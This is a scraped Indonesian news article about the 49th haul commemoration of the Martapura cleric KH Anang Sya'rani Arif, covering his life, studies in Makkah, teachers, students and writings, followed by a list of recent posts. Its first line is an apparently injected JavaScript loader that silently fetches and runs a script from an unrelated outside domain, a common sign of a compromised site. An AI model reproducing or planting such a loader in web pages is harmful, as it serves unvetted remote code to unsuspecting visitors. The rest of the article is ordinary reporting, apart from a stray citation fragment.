(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Manaqib

22 Tahun Menuntut Ilmu di Makkah, Dalam Sakit Berbaring Masih Mengajar Ilmu Agama


MARTAPURA, Haul Tuan Guru KH Anang Sya’rani Arif ke-49 dihadiri ribuan jemaah dari seluruh penjuru Kalsel hingga luar pulau, di Kampung Melayu, Kecamatan Martapura Timur, Rabu (6/2). Hadir Bupati Banjar KH Khalilurrahman, Wakil Bupati Saidi Mansyur bersama para habaib. Acara yang digelar dengan pembacaan yasin, tahlil, kalam Ilahi, syair maulid dan pembacaan manaqib tuan guru KH Anang Sya’rani Arif.

Bupati Banjar KH Kahalilurrahman mengatakan, peringatan haul ini sebagai bentuk penghargaan kepada beliau atas jasa-jasa dan ilmu yang diajarkan beliau.

“Semoga dengan kita berhadir di acara haul ini, kita semua mendapat berkah dari Allah SWT,” ujar Bupati Banjar.

Guru H Itqon, salah satu cucu tuan guru Anang Sya’rani Arif  membacakan riwayat singkat (manaqib) sang kakek. “Al Muhaddist semasa hidup beliau sangat pengasih dan sangat tegas kepada anak-anaknya, terutama dalam syariat Islam,” ujar Guru Itqon.

KH Anang Sya’rani bin KH Muhammad Arif lahir di Kampung Melayu, Martapura, tahun 1914, wafat 17 Juni 1969 saat berumur 55 tahun. Beliau adalah seorang ulama besar dari Martapura, Kalsel. Beliau juga merupakan pengasuh dan pemimpin Pondok Pesantren Darussalam, Martapura. Salah satu guru dari ulama kharismatik Martapura Al ‘Alimul Al Allamah Al Arif Billah Syekh Muhahammad Zaini bin Abdul Ghani atau Guru Sekumpul.

Dalam menuntut ilmu KH Anang Sya’rani bin KH Muhammad Arif dimulai sejak usia dini. Beliau mengaji kepada beberapa ulama yang ada di Martapura, diantaranya kepada paman beliau sendiri Al ‘Alimul Al Allamah Al Arif Billah KH Kasyful Anwar. Dibawah pengawasan tuan guru Kasyful Anwar inilah, beliau bersama sepupu Al ‘Alimul Al Allamah Al Arif Billah KH Syarwani Abdan Bangil banyak mendapatkan ilmu pengetahuan.

Pada tahun 1350 Hijriyah atau 1930 Masehi, beliau dan sang sepupu berangkat ke Tanah Suci Makkah untuk menunaikan ibadah haji, sekaligus menimba ilmu di tempat sumbernya dengan diantar langsung oleh sang paman tuan guru Kasyful Anwar. Setibanya di Makkah, mereka belajar dengan tekun, ibarat istilah “siang bercermin kitab, malam bertongkat pensil”.

Foto : rendy

Setelah 22 tahun menimba ilmu di Makkah dan sempat menjadi pengajar di Masjidil Haram, tuan guru Anang Sya’rani dan sepupunya pulang ke kampung halaman Martapura, sekitar tahun 1952 Masehi.

Begitu sampai, beliau langsung menerima tongkat estafet kepemimpinan dari guru pembimbing KH Kasyful Anwar. Selain sebagai pemimpin Pondok Pesantren Darussalam periode kelima 1959-1969https://id.wikipedia.org/wiki/Anang_Sya%27rani_Arif_al-Banjari – cite_note-:0-1, beliau juga mengadakan pengajian khusus guru-guru di kediamannya Kampung Melayu.

Tuan Guru Anang Sya’rani Arif dikenal sebagai seorang ulama yang tak kenal lelah dalam mengajar, sekalipun dalam keadaan sakit, beliau mengajar dengan berbaring. Beliau juga dikenal sebagai ulama yang sangat gesit dalam memecahkan masalah, sehingga apabila ada guru-guru yang menemui masalah yang sulit, maka kepadanyalah mereka pergi untuk mencari jalan keluar atau pemecahannya. Beliau juga sangat mencintai ilmu dan para penuntut ilmu, sehingga sampai akhir hayatnya ia masih aktif dan tetap mengajar.

Sebelum beliau wafat, berwasiat dan menunjuk KH Muhammad Salim Ma’ruf sebagai gantinya menjadi pimpinan Ponpes Darussalam sepeninggalnya. Akhirnya pada tanggal 14 Jumadil Awwal (1969 M), beliau berpulang ke Rahmatullah membawa amal bakti yang tiada terhingga. “Jasad beiau dimakamkan di Kampung Melayu Tengah, Martapura, Kalimantan Selatan,” ungkap Guru Itqon. (rendy)

Di antara guru guru yang banyak memberikan pelajaran kepada Tuan Guru Anang Sya’rani adalah:

Al ‘Alim al Allamah as Sayyid Amin al-Kutbi

Al ‘Alim al Allamah Syeikh Umar Hamdan

Al ‘Alim al Allamah Syeikh Ali bin Abdullah al-Banjari

Al ‘Alim al Allamah Syeikh Bakri Syatha

Al ‘Alim al Allamah Syeikh Muhammad Ali bin Huseinal Maliki

Al ‘Alim al Allamah Syeikh Ahyad al Bughuri

Di antara murid murid beliau adalah :

KH Mahfuzh Amin (Abah Pengasuh Pondok Pesantren Ibnul Amin Pemangkih)

Abah Guru Syekh Muhammad Zaini bin Abdul Ghani al-Banjari

KH Salim Ma’ruf

KH Mukhtar HS (Pengasuh Pondok Pesantren Ibnul Amin Pemangkih)

dan banyak lagi yang lainnya.

Di antara kitab kitab karangan beliau adalah :

Thanwirut Thulab (ilmu yang menguraikan tentang Ushul Hadist)

Hidayatuz Zaman (berisi hadist-hadist tentang akhir zaman)

 

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

51 menit ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

2 hari ago

Dua Rumah Terbakar di Sungai Tabukan, Bupati HSU: Waspada Ketika Ditinggal Mudik

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani mengingatkan warga untuk selalu mewaspadai… Read More

2 hari ago

Ini Alasan KPU Tiadakan Kampanye di PSU Pilkada 2024

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemilihan Umum (KPU) menegaskan bahwa kampanye akbar atau rapat umum ditiadakan… Read More

2 hari ago

Sepekan Jurnalis Juwita Dimakamkan Motif Masih Jadi Misteri Ditangan Penyidik

KANALKALIMANTAN.COM, BANJARBARU - Motif J, anggota TNI AL berpangkat Kelasi I menghabisi nyawa jurnalis Juwita… Read More

3 hari ago